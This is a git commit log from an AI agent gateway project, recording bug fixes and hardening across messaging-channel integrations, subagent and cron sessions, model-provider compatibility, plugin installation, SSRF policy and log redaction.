Users who need explicit reasoning control should target a specific model
id (e.g. openrouter/deepseek/deepseek-r1) rather than the auto router.

Fixes #24851

(cherry picked from commit aa55439798)
2026-02-24 04:33:51 +00:00
Ben Marvell
eae13d9367 test(agents): update test to match universal tool-result repair for OpenAI
The previous test asserted that OpenAI-responses sessions would NOT get
synthetic tool results for orphaned tool calls. With repairToolUseResultPairing
now running universally, the correct behavior is that orphaned tool calls
get a synthetic tool_result — matching what OpenAI actually requires.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit 2edb0ffe0b)
2026-02-24 04:33:51 +00:00
Ben Marvell
252079f001 fix(agents): repair orphaned tool results for OpenAI after history truncation
repairToolUseResultPairing was gated behind !isOpenAi, skipping orphaned
tool_result cleanup for OpenAI providers. When limitHistoryTurns truncated
conversation history, tool_result messages whose matching tool_call was
before the truncation point survived and were sent as function_call_output
items with stale call_id references. OpenAI rejects these with:
"No tool call found for function call output with call_id ..."

Enable the repair universally — all providers need it after truncation.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit 97b065aa6e)
2026-02-24 04:33:50 +00:00
chilu18
424ba72cad fix(config): add actionable guidance for dmPolicy open allowFrom mismatch
(cherry picked from commit d3bfbdec5d)
2026-02-24 04:33:50 +00:00
chilu18
8c8374defa fix(cron): treat embedded error payloads as run failures
(cherry picked from commit 50fd31c070)
2026-02-24 04:33:50 +00:00
Marc Gratch
75969ed5c4 fix(plugins): pass session context to before_compaction hook in subscribe handler
The handleAutoCompactionStart handler was calling runBeforeCompaction with
only messageCount and an empty hook context. Plugins receiving this hook
could not identify the session or snapshot the transcript during
auto-compaction.

The other call site in compact.ts already passes the full payload
(messages, sessionFile, sessionKey). This aligns the subscribe handler
to do the same using ctx.params.session and ctx.params.sessionKey.

(cherry picked from commit 318a19d1a1)
2026-02-24 04:33:50 +00:00
Marcus Castro
58ce0a89ec fix(cli): load plugin registry for configure and onboard commands (#17266)
(cherry picked from commit 644badd40d)
2026-02-24 04:33:50 +00:00
JackyWay
792bd6195c fix: recognize Bedrock as Anthropic-compatible in transcript policy
(cherry picked from commit 3b5154081c)
2026-02-24 04:33:50 +00:00
github-actions[bot]
3823587ada fix(agents): allow empty edit replacement text
(cherry picked from commit 3c21fc30d3)
2026-02-24 04:33:50 +00:00
Glucksberg
fd7ca4c394 fix: normalize input peer.kind in resolveAgentRoute (#22730)
The input peer.kind from channel plugins was used as-is without
normalization via normalizeChatType(), while the binding side correctly
normalized. This caused "dm" !== "direct" mismatches in
matchesBindingScope, making plugins that use "dm" as peerKind fail to
match bindings configured with "direct".

Normalize both peer.kind and parentPeer.kind through normalizeChatType()
so that "dm" and "direct" are treated equivalently on both sides.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit b0c96702f5)
2026-02-24 04:33:50 +00:00
HCL
24e52f53e4 fix(cli): resolve --url option collision in browser cookies set
When addGatewayClientOptions registers --url on the parent browser
command, Commander.js captures it before the cookies set subcommand
can receive it. Switch from requiredOption to option and resolve
via inheritOptionFromParent, matching the existing pattern used
for --target-id.

Fixes #24811

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit 96fcb963ec)
2026-02-24 04:33:50 +00:00
Brian Mendonca
d51a4695f0 Deny cron tool on /tools/invoke by default
(cherry picked from commit 816a6b3a4d)
2026-02-24 04:33:50 +00:00
Peter Steinberger
f9de17106a refactor(browser): share relay token + options validation tests 2026-02-24 04:23:22 +00:00
Peter Steinberger
8c5cf2d5b2 docs(subagents): document default runTimeoutSeconds config (#24594) (thanks @mitchmcalister) 2026-02-24 04:22:43 +00:00
Mitch McAlister
8bcd405b1c fix: add .int() to runTimeoutSeconds zod schema for consistency
Matches convention used by all other *Seconds/*Ms timeout fields.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 04:22:43 +00:00
Mitch McAlister
5710d72527 feat(agents): configurable default runTimeoutSeconds for subagent spawns
When sessions_spawn is called without runTimeoutSeconds, subagents
previously defaulted to 0 (no timeout). This adds a config key at
agents.defaults.subagents.runTimeoutSeconds so operators can set a
global default timeout for all subagent runs.

The agent-provided value still takes precedence when explicitly passed.
When neither the agent nor the config specifies a timeout, behavior is
unchanged (0 = no timeout), preserving backwards compatibility.

Updated for the subagent-spawn.ts refactor (logic moved from
sessions-spawn-tool.ts to spawnSubagentDirect).

Closes #19288

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 04:22:43 +00:00
Peter Steinberger
803e02d8df fix: adapt landed fixups to current type and approval constraints 2026-02-24 04:20:30 +00:00
Peter Steinberger
dd14daab15 fix(telegram): allowlist api.telegram.org in media SSRF policy 2026-02-24 04:20:30 +00:00
zerone0x
ac6cec7677 fix(providers): strip trailing /v1 from Anthropic baseUrl to prevent double-path
The pi-ai Anthropic provider constructs the full API endpoint as
`${baseUrl}/v1/messages`. If a user configures
`models.providers.anthropic.baseUrl` with a trailing `/v1`
(e.g. "https://api.anthropic.com/v1"), the resolved URL becomes
"https://api.anthropic.com/v1/v1/messages" which the Anthropic API
rejects with a 404 / connection failure.

This regression appeared in v2026.2.22 when @mariozechner/pi-ai bumped
from 0.54.0 to 0.54.1, which started appending the /v1 segment where
the previous version did not.

Fix: in normalizeModelCompat(), detect anthropic-messages models and
strip a single trailing /v1 (with optional trailing slash) from the
configured baseUrl before it is handed to pi-ai. Models with baseUrls
that do not end in /v1 are unaffected. Non-anthropic-messages models
are not touched.

Adds 6 unit tests covering the normalisation scenarios.

Fixes #24709

(cherry picked from commit 4c4857fdcb)
2026-02-24 04:20:30 +00:00
Marcus Castro
01c1f68ab3 fix(hooks): decouple message:sent internal hook from mirror param
(cherry picked from commit 1afd7030f8)
2026-02-24 04:20:30 +00:00
User
c7bf0dacb8 chore: remove unused isMinimal param from buildSkillsSection
Address review feedback: isMinimal is no longer referenced after the
early-return guard was removed in the parent commit.

(cherry picked from commit 2efe04d301)
2026-02-24 04:20:30 +00:00
User
2398b51378 fix: include available_skills in isolated cron agentTurn sessions (closes #24888)
buildSkillsSection() had an early-return guard on isMinimal that silently
dropped the entire <available_skills> block for any session using
promptMode="minimal" — which includes all isolated cron agentTurn sessions
(isCronSessionKey → promptMode="minimal" in attempt.ts:497-500).

Fix: remove the isMinimal guard from buildSkillsSection so that skills are
emitted whenever a non-empty skillsPrompt is provided, regardless of mode.
Memory, docs, reply-tags, and other verbose sections remain gated on isMinimal.

Tests added:
- "includes skills in minimal prompt mode when skillsPrompt is provided (cron regression)"
- "omits skills in minimal prompt mode when skillsPrompt is absent"
- Updated existing minimal-mode test expectation to match corrected behaviour.

(cherry picked from commit 66af86e7ee)
2026-02-24 04:20:30 +00:00
zerone0x
c69fc383b9 fix(config): surface helpful chown hint on EACCES when reading config
When the gateway is deployed in a Docker/container environment using a
1-click hosting template, the openclaw.json config file can end up owned
by root (mode 600) while the gateway process runs as the non-root 'node'
user. This causes a silent EACCES failure: the gateway starts with an
empty config and Telegram/Discord bots stop responding.

Before this fix the error was logged as a generic 'read failed: ...'
message with no indication of how to recover.

After this fix:
- EACCES errors log a clear, actionable error to stderr (visible in
  docker logs) with the exact chown command to run
- The config snapshot issue message also includes the chown hint so
  'openclaw gateway status' / Control UI surface the fix path
- process.getuid() is used to include the current UID in the hint;
  falls back to '1001' on platforms where it is unavailable

Fixes #24853

(cherry picked from commit 0a3c572c41)
2026-02-24 04:20:30 +00:00
SidQin-cyber
f3459d71e8 fix(exec): treat shell exit codes 126/127 as failures instead of completed
When a command exits with code 127 (command not found) or 126 (not
executable), the exec tool previously returned status "completed" with
the error buried in the output text. This caused cron jobs to report
status "ok" and never increment consecutiveErrors, silently swallowing
failures like `python: command not found` across multiple daily cycles.

Now these shell-reserved exit codes are classified as "failed", which
propagates through the cron pipeline to properly increment
consecutiveErrors and surface the issue for operator attention.

Fixes #24587

Co-authored-by: Cursor <cursoragent@cursor.com>
(cherry picked from commit 2b1d1985ef)
2026-02-24 04:20:30 +00:00
damaozi
c6bb7b0c04 fix(whatsapp): groupAllowFrom sender filter bypassed when groupPolicy is allowlist (#24670)
(cherry picked from commit af06ebd9a6)
2026-02-24 04:20:30 +00:00
Brian Mendonca
3f5e7f8156 fix(gateway): consume allow-once approvals to prevent replay
(cherry picked from commit 6adacd447c)
2026-02-24 04:20:30 +00:00
Peter Steinberger
ffc22778f3 fix(subagents): prune orphaned restored runs + status wording (#24244) (thanks @HeMuling) 2026-02-24 04:17:56 +00:00
HeMuling
3c13f4c2b4 test(subagents): mock sessions store in steer-restart coverage 2026-02-24 04:17:56 +00:00
HeMuling
d0e008d460 chore(status): clarify bootstrap file semantics 2026-02-24 04:17:56 +00:00
HeMuling
c3b3065cc9 fix(subagents): reconcile orphaned restored runs 2026-02-24 04:17:56 +00:00
Peter Steinberger
cd3927ad67 fix(sessions): preserve allow-any subagent model overrides (#21088) (thanks @Slats24) 2026-02-24 04:16:32 +00:00
Slats
87dd896963 fix: sessions_sspawn model override ignored for sub-agents
Fix bug where sessions_spawn model parameter was ignored, causing sub-agents
   to always use the parent's default model.

   The allowAny flag from buildAllowedModelSet() was not being captured or used.

   🤖 AI-assisted (Claude) - fully tested locally

   Fixes #17479, #6295, #10963
2026-02-24 04:16:32 +00:00
Peter Steinberger
f6b4baa776 test(telegram): align stop-phrase sequential key expectation (#25034) 2026-02-24 04:16:17 +00:00
Peter Steinberger
1237516ae8 fix(chrome-extension): finalize relay endpoint validation flow (#22252) (thanks @krizpoon) 2026-02-24 04:16:08 +00:00
Kriz Poon
b7949d317f Chrome extension: simplify validation logic
Use OR operator to require both Browser and Protocol-Version fields. Simplified catch block to generic error message since specific wrong-port cases are already handled by the validation blocks above.
2026-02-24 04:16:08 +00:00
Kriz Poon
0a53a77dd6 Chrome extension: validate relay endpoint response format
Options page now validates that /json/version returns valid CDP JSON (with Browser/Protocol-Version fields) rather than accepting any HTTP 200 response. This prevents false success when users mistakenly configure the gateway port instead of the relay port (gateway + 3).

Helpful error messages now guide users to use "gateway port + 3" when they configure the wrong port.
2026-02-24 04:16:08 +00:00
Kriz Poon
1fdaaaedd3 Docs: clarify Chrome extension relay port derivation (gateway + 3) 2026-02-24 04:16:08 +00:00
Keith
b2719d00ff fix(subagents): restore isInternalMessageChannel guard in resolveAnnounceOrigin
Restores the narrower internal-channel guard from PR #22223 (fe57bea08) that was
inadvertently reverted by f555835b0.

The original !isDeliverableMessageChannel() check strips the requester's channel
whenever it is not in the registered deliverable set. This causes delivery
failures for plugin channels whose adapter ID differs from their plugin ID (e.g.
"gmail" vs "openclaw-gmail"): the requester origin is discarded and the announce
falls back to stale session routes — typically WhatsApp — resulting in a timeout
followed by an E.164 format error.

Replacing with isInternalMessageChannel() limits stripping to explicitly internal
channels (webchat), preserving the requester origin for all external channels
regardless of whether they are currently in the deliverable list.

Fixes: #22223 regression introduced in f555835b0

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
2026-02-24 04:13:40 +00:00
Sahil Satralkar
420d8c663c Tests/Typing: stabilize subagent completion routing changes 2026-02-24 04:12:25 +00:00
Sahil Satralkar
8796c78b3d Gateway: propagate message target and thread headers into tools invoke context 2026-02-24 04:12:25 +00:00
Sahil Satralkar
f9ffd41cfa Subagents: fallback completion announce to internal session when outbound route is incomplete 2026-02-24 04:12:25 +00:00
Sahil Satralkar
28d658e178 Tests: verify tools invoke propagates route headers for subagent spawn context 2026-02-24 04:12:25 +00:00
Sahil Satralkar
3eabd53898 Tests: add regressions for subagent completion fallback and explicit direct route 2026-02-24 04:12:25 +00:00
Peter Steinberger
004a61056c docs(changelog): note relay nav auto-reattach fix (#19766) (thanks @nishantkabra77) 2026-02-24 04:11:13 +00:00
NK
7c028e8c09 fix: respect canceled_by_user and replaced_with_devtools detach reasons
Skip re-attach when user explicitly dismisses debugger bar or opens
DevTools. Prevents frustrating re-attach loop that fights user intent.

Addresses review feedback from greptile-apps.
2026-02-24 04:11:13 +00:00
NK
67bac62c2c fix: Chrome relay extension auto-reattach after SPA navigation
When Chrome's debugger detaches during page navigation (common in SPAs
like Gmail, Google Calendar), the extension now automatically re-attaches
instead of permanently losing the connection.

Changes:
- onDebuggerDetach: detect navigation vs tab close, attempt re-attach
  with 3 retries and exponential backoff (300ms, 700ms, 1500ms)
- Add reattachPending guard to prevent concurrent re-attach races
- connectOrToggleForActiveTab: handle pending re-attach state
- onRelayClosed: clear reattachPending on relay disconnect
- Add chrome.tabs.onRemoved listener for proper cleanup

Fixes #19744
2026-02-24 04:11:13 +00:00
Peter Steinberger
721d8b2278 test(discord): stabilize parent-info + doctor migration assertions (#25028) 2026-02-24 04:10:52 +00:00
Marcus Castro
dd41a78458 fix(bluebubbles): pass SSRF policy for localhost attachment downloads (#24457)
(cherry picked from commit aff64567c7)
2026-02-24 04:06:57 +00:00
Peter Steinberger
113545f005 docs(changelog): note browser control startup import fix (#23974) (thanks @ieaves) 2026-02-24 04:06:03 +00:00
Ian Eaves
3129d1c489 fix(gateway): start browser HTTP control server module 2026-02-24 04:06:03 +00:00
root
8d2035633b fix(agents): include SOUL.md, IDENTITY.md, USER.md in subagent/cron bootstrap allowlist
Subagent and isolated cron sessions only loaded AGENTS.md and TOOLS.md,
causing subagents to lose their role personality, identity, and user
preferences. Expand MINIMAL_BOOTSTRAP_ALLOWLIST to include the three
missing identity files.

Closes #24852

(cherry picked from commit c33377150e)
2026-02-24 04:04:35 +00:00
SidQin-cyber
9d3bd50990 fix(otel): use protobuf OTLP exporters instead of JSON/HTTP
The diagnostics-otel extension validates that protocol is "http/protobuf"
but was importing JSON-based `-http` exporters. This caused silent failures
with backends like VictoriaMetrics that only accept protobuf-encoded OTLP.

Switch all three exporter imports (metrics, traces, logs) from
`@opentelemetry/exporter-*-otlp-http` to `@opentelemetry/exporter-*-otlp-proto`.

Fixes #24942

Co-authored-by: Cursor <cursoragent@cursor.com>
(cherry picked from commit f5c0bf0497)
2026-02-24 04:04:35 +00:00
Peter Steinberger
aea28e26fb fix(auto-reply): expand standalone stop phrases 2026-02-24 04:02:43 +00:00
Peter Steinberger
588a188d6f fix: replace stale plugin webhook routes on re-registration 2026-02-24 04:01:41 +00:00
Peter Steinberger
d76742ff88 fix: normalize manifest plugin ids during install 2026-02-24 03:56:34 +00:00
Peter Steinberger
a388fbb6c3 fix: harden custom-provider verification probes (#24743) (thanks @Glucksberg) 2026-02-24 03:56:30 +00:00
Peter Steinberger
ebde897bb8 fix: add dmScope route guard regression tests (#24949) (thanks @kevinWangSheng) 2026-02-24 03:55:29 +00:00
shenghui kevin
57783680ad fix(whatsapp): guard updateLastRoute when dmScope isolates DM sessions
When session.dmScope is set to 'per-channel-peer', WhatsApp DMs correctly
resolve isolated session keys, but updateLastRouteInBackground unconditionally
wrote lastTo to the main session key. This caused reply routing corruption
and privacy violations.

Only update main session's lastRoute when the DM session actually IS
the main session (sessionKey === mainSessionKey).

Fixes #24912
2026-02-24 03:55:29 +00:00
shenghui kevin
6f44d92d76 docs: update PR_STATUS.md - all 11 PRs CI passed 2026-02-24 03:55:29 +00:00
Peter Steinberger
de0e01259a fix: expand openrouter thinking-off regression coverage (#24863) (thanks @DevSecTim) 2026-02-24 03:54:29 +00:00
Tim Jones
b96d32c1c2 chore: fix oxfmt formatting in extraparams test
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-24 03:54:29 +00:00
Tim Jones
3e974dc93f fix: don't inject reasoning: { effort: "none" } for OpenRouter when thinking is off
"off" is a truthy string, so the existing guard `if (thinkingLevel && ...)`
was always entering the injection block and sending `reasoning: { effort: "none" }`
to every OpenRouter request — even when thinking wasn't enabled. Models that
require reasoning (e.g. deepseek/deepseek-r1) reject this with:
  400 Reasoning is mandatory for this endpoint and cannot be disabled.

Fix: skip the reasoning injection entirely when thinkingLevel is "off".
The reasoning_effort flat-field cleanup still runs. Omitting the reasoning
field lets each model use its own default behavior.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-24 03:54:29 +00:00
Peter Steinberger
69a541c3f0 fix: sanitize pairing recovery requestId hints (#24771) (thanks @markmusson) 2026-02-24 03:53:45 +00:00
Mark Musson
b902d5ade0 fix(status): show pairing approval recovery hints 2026-02-24 03:53:45 +00:00
Peter Steinberger
6c1ed9493c fix: harden queue retry debounce and add regression tests 2026-02-24 03:52:49 +00:00
Peter Steinberger
a216f2dabe fix: extend discord thread parent fallback coverage (#24897) (thanks @z-x-yang) 2026-02-24 03:52:43 +00:00
Zongxin Yang
d883ecade6 fix(discord): fallback thread parent lookup when parentId missing 2026-02-24 03:52:43 +00:00
Peter Steinberger
fd24b35449 fix: cover startup locale hydration path (#24795) (thanks @chilu18) 2026-02-24 03:51:58 +00:00
chilu18
053b0df7d4 fix(ui): load saved locale on startup 2026-02-24 03:51:58 +00:00
Peter Steinberger
7a42558a3e fix: harden legacy plugin schema compatibility tests (#24933) (thanks @pandego) 2026-02-24 03:50:53 +00:00
pandego
9f4764cd41 fix(plugins): guard legacy zod schemas without toJSONSchema 2026-02-24 03:50:53 +00:00
Peter Steinberger
dd145f1346 fix: suppress sessions_send warning leakage coverage (#24740) (thanks @Glucksberg) 2026-02-24 03:49:52 +00:00
Glucksberg
947883d2e0 fix: suppress sessions_send error warnings from leaking to chat (#23989)
sessions_send timeout/error results were being surfaced as raw warning
messages in Telegram chats because the tool is classified as mutating,
which forces error warnings to always be shown. However, sessions_send
failures are transient inter-session communication issues where the
message may still have been delivered, so they should not leak to users.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 03:49:52 +00:00
Peter Steinberger
9cc7450edf docs(changelog): add missing unreleased fixes and reorder 2026-02-24 03:48:49 +00:00
Glucksberg
1565d7e7b3 fix: increase verification max_tokens to 1024 for Poe API compatibility
Poe API's Extended Thinking models (e.g. claude-sonnet-4.6) require
budget_tokens >= 1024. The previous values (5 for OpenAI, 16 for
Anthropic) caused HTTP 400 errors during provider verification.

Fixes #23433

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 03:47:49 +00:00
Peter Steinberger
b5881d9ef4 fix: avoid WhatsApp silent turns with final-only delivery (#24962) (thanks @SidQin-cyber) 2026-02-24 03:47:20 +00:00
SidQin-cyber
3d22af692c fix(whatsapp): suppress reasoning/thinking content from WhatsApp delivery
The deliver callback in process-message.ts was forwarding all payload
kinds (tool, block, final) to WhatsApp. Block payloads contain the
model's reasoning/thinking content, which should only be visible in
the internal web UI. This caused chain-of-thought to leak to end users
as separate WhatsApp messages.

Add an early return for non-final payloads so only the actual response
is delivered to the WhatsApp channel, matching how Telegram already
filters by info.kind === "final".

Fixes #24954
Fixes #24605

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 03:47:20 +00:00
Peter Steinberger
3a653082d8 fix(config): align whatsapp enabled schema with auto-enable 2026-02-24 03:39:41 +00:00
Coy Geek
aef45b2abb fix(logging): redact phone numbers and message content from WhatsApp logs
Apply redactIdentifier() (SHA-256 hashing) to all recipient JIDs and
phone numbers logged by sendMessageWhatsApp, sendReactionWhatsApp,
sendPollWhatsApp, and runWebHeartbeatOnce. Remove poll question text
and message preview content from log entries, replacing with character
counts where useful for debugging.

The existing redactIdentifier() utility in src/logging/redact-identifier.ts
was already implemented but not wired into any WhatsApp logging path.
This commit connects it to all affected call sites while leaving
functional parameters (actual send calls, event emitters) untouched.

Closes #24957
2026-02-24 03:36:29 +00:00
Peter Steinberger
0bdcca2f35 test(whatsapp): add log redaction coverage 2026-02-24 03:34:31 +00:00
Sid
d95ee859f8 fix(cron): use full prompt mode for isolated cron sessions to include skills (#24944)
Isolated cron sessions (agentTurn) were grouped with subagent sessions
under the "minimal" prompt mode, which causes buildSkillsSection to
return an empty array. This meant <available_skills> was never included
in the system prompt for isolated cron runs.

Subagent sessions legitimately need minimal prompts (reduced context),
but isolated cron sessions are full agent turns that should have access
to all configured skills, matching the behavior of normal chat sessions
and non-isolated cron runs.

Remove isCronSessionKey from the minimal prompt condition so only
subagent sessions use "minimal" mode.

Fixes openclaw#24888

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 03:33:54 +00:00
zerone0x
bf91b347c1 fix(plugins): use manifest id as config entry key instead of npm package name (#24796)
* fix(plugins): use manifest id as config key instead of npm package name

Plugin manifests (openclaw.plugin.json) define a canonical 'id' field that
is used as the authoritative plugin identifier by the manifest registry.
However, the install command was deriving the config entry key from the npm
package name (e.g. 'cognee-openclaw') rather than the manifest id (e.g.
'memory-cognee'), causing a latent mismatch.

On the next gateway reload the plugin could not be found under the config key
derived from the npm package name, causing 'plugin not found' errors and
potentially shutting the gateway down.

Fix: after extracting the package directory, read openclaw.plugin.json and
prefer its 'id' field over the npm package name when registering the config
entry. Falls back to the npm-derived id if the manifest file is absent or
has no valid id. A diagnostic info message is emitted when the two values
differ so the mismatch is visible in the install log.

The update path (src/plugins/update.ts) already correctly reads the manifest
id and is unaffected.

Fixes #24429

* fix: format plugin install manifest-id path (#24796)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-24 03:33:51 +00:00
Sid
f5cab29ec7 fix(synology-chat): deregister stale webhook route before re-registering on restart (#24971)
When the Synology Chat plugin restarts (auto-restart or health monitor),
startAccount is called again without calling the previous stop(). The
HTTP route is still registered, so registerPluginHttpRoute returns a
no-op unregister function and logs "already registered". This triggers
another restart, creating an infinite loop.

Store the unregister function at module level keyed by account+path.
Before registering, check for and call any stale unregister from the
previous start cycle, ensuring a clean slate for route registration.

Fixes #24894

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 03:33:47 +00:00
Peter Machona
9ced64054f fix(auth): classify missing OAuth scopes as auth failures (#24761) 2026-02-24 03:33:44 +00:00
Sid
38da3f40cb fix(discord): suppress reasoning/thinking block payloads from delivery (#24969)
Block payloads (info.kind === "block") contain reasoning/thinking content
that should only be visible in the internal web UI. When streamMode is
"partial", these blocks were being delivered to Discord as visible
messages, leaking chain-of-thought to end users.

Add an early return for block payloads in the deliver callback,
consistent with the WhatsApp fix and Telegram's existing behavior.

Fixes #24532

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-24 03:33:40 +00:00
Sid
c1fe688d40 fix(gateway): safely extract text from content arrays in prompt builder (#24946)
* fix(gateway): safely extract text from message content arrays in prompt builder

When HistoryEntry.body is a content array (e.g. [{type:"text",
text:"hello"}]) rather than a plain string, template literal
interpolation produces "[object Object]" instead of the actual message
text. This affects users whose session messages were stored with array
content format.

Add a safeBody helper that detects non-string body values and uses
extractTextFromChatContent to extract the text, preventing the
[object Object] serialization in both the current-message return path
and the history formatting path.

Fixes openclaw#24688

Co-authored-by: Cursor <cursoragent@cursor.com>

* fix: format gateway agent prompt helper (#24946)

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-24 03:33:37 +00:00
banna-commits
e3da57d956 fix: add exponential backoff to announce queue drain on failure (#24783)
When the gateway rejects connections (e.g. scope-upgrade 'pairing required'),
the announce queue drain loop would retry every ~1s indefinitely because
the only delay was the fixed debounceMs (default 1000ms).

This adds a consecutiveFailures counter with exponential backoff:
2s, 4s, 8s, 16s, 32s, 60s (capped). The counter resets on successful drain.

The backoff is applied by shifting lastEnqueuedAt forward so that
waitForQueueDebounce naturally delays the next attempt.

Fixes #24777

Co-authored-by: Knut <knut@Knut-sin-Mac-mini.local>
2026-02-24 03:33:34 +00:00
青雲
52ac7634db fix: persist reasoningLevel 'off' instead of deleting it (#24406) (#24559)
When a user runs /reasoning off, the session patch handler deleted
the reasoningLevel field from the session entry. This caused
get-reply-directives to treat reasoning as 'not explicitly set',
which triggered resolveDefaultReasoningLevel() to re-enable
reasoning for capable models (e.g. Claude Opus).

The fix persists 'off' explicitly, matching how directive-handling.persist.ts
already handles the inline /reasoning off command.

Fixes #24406
Fixes #24411

Co-authored-by: echoVic <AkiraVic@outlook.com>
2026-02-24 03:33:30 +00:00
junwon
04bcabcbae fix(infra): handle Windows dev=0 in sameFileIdentity TOCTOU check (#24939)
* fix(infra): handle Windows dev=0 in sameFileIdentity TOCTOU check

On Windows, `fs.lstatSync` (path-based) returns `dev: 0` while
`fs.fstatSync` (fd-based) returns the real NTFS volume serial number.
This mismatch caused `sameFileIdentity` to always fail, making
`openVerifiedFileSync` reject every file — silently breaking all
Control UI static file serving (HTTP 404).

Fall back to ino-only comparison when either dev is 0 on Windows.
ino remains unique within a single volume, so TOCTOU protection
is preserved.

Fixes #24692

* fix: format sameFileIdentity wrapping (#24939)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-24 03:33:27 +00:00
Glucksberg
a3b82a563d fix: resolve symlinks in pnpm/bun global install detection (#24744)
Use tryRealpath() instead of path.resolve() when comparing expected
package paths in detectGlobalInstallManagerForRoot(). path.resolve()
only normalizes path strings without following symlinks, causing pnpm
global installs to go undetected since pnpm symlinks node_modules
entries into its .pnpm content-addressable store.

Fixes #22768

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 03:33:24 +00:00
Glucksberg
1e23d2ecea fix(whatsapp): respect selfChatMode config in access-control (#24738)
The selfChatMode config field was resolved by accounts.ts but never
consumed in the access-control logic. Use nullish coalescing so an
explicit true/false from config takes precedence over the allowFrom
heuristic, while undefined falls back to the existing behavior.

Fixes #23788

Co-authored-by: Claude <noreply@anthropic.com>
2026-02-24 03:33:21 +00:00
不做了睡大觉
ae281a6f61 fix: suppress "Run doctor --fix" hint when already in fix mode with no changes (#24666)
When running `openclaw doctor --fix` and no config changes are needed,
the else branch unconditionally showed "Run doctor --fix to apply changes"
which is confusing since we just ran --fix.

Now the hint only appears when NOT in fix mode (i.e. when running plain
`openclaw doctor`). When in fix mode with nothing to change, the command
silently proceeds to the "Doctor complete." outro.

Fixes #24566

Co-authored-by: User <user@example.com>
2026-02-24 03:33:17 +00:00
Peter Steinberger
3af9d1f8e9 fix: scope Telegram RFC2544 SSRF exception to policy opt-in (#24982) (thanks @stakeswky) 2026-02-24 03:28:00 +00:00
User
9df80b73e2 fix: allow RFC2544 benchmark range (198.18.0.0/15) through SSRF filter
Telegram's API and file servers resolve to IPs in the 198.18.0.0/15
range (RFC 2544 benchmarking range). The SSRF filter was blocking these
addresses because ipaddr.js classifies them as 'reserved', and the
filter also had an explicit RFC2544_BENCHMARK_PREFIX check that blocked
them unconditionally.

Fix: exempt 198.18.0.0/15 from the 'reserved' range block in
isBlockedSpecialUseIpv4Address(). Other 'reserved' ranges (TEST-NET-2,
TEST-NET-3, documentation prefixes) remain blocked. The explicit
RFC2544_BENCHMARK_PREFIX check is repurposed as the exemption guard.

Closes #24973
2026-02-24 03:28:00 +00:00
Ali Al Jufairi
237b9be937 chore(docs) : remove the mention of Anthropic OAuth since it is not allowed according to there new guidlines (#24989) 2026-02-24 03:23:01 +00:00
Adam
d07d24eebe fix: clamp poll sleep duration to non-negative in bash-tools process (#24889)
`Math.min(250, deadline - Date.now())` could return a negative value if
the deadline expired between the while-condition check and the setTimeout
call. Wrap with `Math.max(0, ...)` to ensure the sleep is never negative.

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-24 03:22:58 +00:00
青雲
dc8423f2c0 fix: back up existing systemd unit before overwriting on update (#24350) (#24937)
When `openclaw update` regenerates the systemd service file, any user
customizations to ExecStart (e.g. proxychains4 wrapper) are silently
lost. Now the existing unit file is copied to `.bak` before writing
the new one, so users can restore their customizations.

The backup path is printed in the install output so users are aware.

Co-authored-by: echoVic <AkiraVic@outlook.com>
2026-02-24 03:22:55 +00:00
Soumik Bhatta
70cfb69a5f fix(doctor): skip false positive permission warnings for Nix store symlinks (#24901)
On NixOS/Nix-managed installs, config and state directories are symlinks
into /nix/store/. Symlinks on Linux always report 0o777 via lstatSync,
causing `openclaw doctor` to incorrectly warn about open permissions.

Use lstatSync to detect symlinks, resolve the target, and only suppress
the warning when the resolved path lives in /nix/store/ (an immutable
filesystem). Symlinks to insecure targets still trigger warnings.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-24 03:22:52 +00:00
Bill Cropper
588ad7fb38 fix: respect agent model config in slug generator (#24776)
The slug generator was using hardcoded DEFAULT_PROVIDER and DEFAULT_MODEL
instead of resolving from agent config. This caused it to fall back to
anthropic/claude-opus-4-6 even when a cloud model was configured.

Now uses resolveAgentModelPrimary() to get the configured model, with
fallback to defaults if not configured.

Fixes issue where session memory filenames would fail to generate
when using cloud models that require special backends.
2026-02-24 03:22:48 +00:00
David Murray
e2e10b3da4 fix(slack): map threadId to replyToId for restart sentinel notifications (#24885)
The restart sentinel wake path passes threadId to deliverOutboundPayloads,
but Slack requires replyToId (mapped to thread_ts) for threading. The agent
reply path already does this conversion but the sentinel path did not,
causing post-restart notifications to land as top-level DMs.

Fixes #17716
2026-02-24 03:22:45 +00:00
Omair Afzal
19c43eade2 fix(memory): strip null bytes from workspace paths causing ENOTDIR (#24876)
Add stripNullBytes() helper and apply it to all return paths in
resolveAgentWorkspaceDir() including configured, default, and
state-dir-derived paths. Null bytes in paths cause ENOTDIR errors
when Node tries to resolve them as directories.
2026-02-24 03:22:42 +00:00
Omair Afzal
177f167eab fix: guard .trim() calls on potentially undefined workspaceDir (#24875)
Change workspaceDir param type from string to string | undefined in
resolvePluginSkillDirs and use nullish coalescing before .trim() to
prevent TypeError when workspaceDir is undefined.
2026-02-24 03:22:39 +00:00
Peter Steinberger
7b2b86c60a fix(exec): add approval race changelog and regressions 2026-02-24 03:22:05 +00:00
Peter Steinberger
6f0dd61795 fix(exec): restore two-phase approval registration flow 2026-02-24 03:16:36 +00:00
